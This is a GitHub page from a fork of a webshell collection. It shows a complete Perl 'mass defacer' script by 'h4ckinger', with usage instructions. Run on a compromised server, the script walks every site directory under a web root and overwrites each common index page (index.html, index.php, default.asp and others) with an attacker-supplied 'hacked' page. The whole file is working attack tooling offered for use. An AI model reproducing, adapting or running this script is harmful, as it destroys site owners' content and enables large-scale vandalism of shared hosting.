forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hmass (priv8 mass defacor).pl
125 lines (110 loc) · 3.05 KB
/
hmass (priv8 mass defacor).pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/perl
#My comments >>
#(C)oded by h4ckinger
#Web: www.hackinger.org
#Windows && Linux mass defacer script (c) h4ckinger
#usage: hmass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
#example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
# [-p Optional ]
#mail: [email protected]
#Special thanks: Darkc0de,CyberGhost,excellance,redLine
#plz send email when u discoverz a buggy
#end my comments<<
#my used functions
use Getopt::Std;
use FileHandle;
use File::Copy "cp";
#<<end used functions
#checking OS
my $OperatingSystem = $^O;
my $unix = "";
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
#Our variables
getopts (":p:i:d:", \%args);
$p=$args{p}; #root path
$d=$args{d};#mass deface path
$i=$args{i};#index file
#Our index files
#d0 u need 0ther add it
@indexz=('index.html','index.htm','index.asp','index.cfm','index.php','default.html','default.htm','default.asp','default.cfm','default.php');
#Parametres Checking
if(!defined($d) || !defined($i)){usage();}
if(defined($d) && defined($i) && !defined($p)){checkfile($i);checkdir($d);normaldeface($d);};
if(defined($d) && defined($i) && defined($p)){checkfile($i);checkdir($d);rootpathdeface($d,$p);};
#normal deface function
sub normaldeface{
if($unix){
system("clear");
}
else{system("cls");}
$dir=shift;
@otekidizinler=dizinbul($dir);
foreach $tekdizin(@otekidizinler){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dir//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dir\\$tekdizin\\$rpath\\$tekindex");}
}
print "Defaced here : $tekdizin\n";
}
}
#rootpath deface function
sub rootpathdeface{
if($unix){
system("clear");
}
else{system("cls");}
($dzn,$rpath)=@_;
@aqdunyanin=dizinbul($dzn);
foreach $tekdizin(@aqdunyanin){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dzn//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dzn\\$tekdizin\\$rpath\\$tekindex");}
}
print "Defaced here : $tekdizin\\$rpath\n";
}
}
#copy function
sub gopyala{
($file1,$file2)=@_;
$n = FileHandle->new("$file1","r");
cp($n,"$file2");
}
#list dir function
sub dizinbul {
my ($dir) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { -d "$dir/$_" } @files; #alt dizinler
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Bir alt dizin ve içinde bulunulan dizini ayýkla
return(@files);
}
sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }
#How i use this script ?
sub usage{
if($unix){
system("clear");
}
else{system("cls");}
print q
[
=========================================================================
h4ckinger Mass ExpLoit3r
(C)oded by h4ckinger
www.hackinger.org
usage: hmass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
-p Optional
=========================================================================
];
exit;
}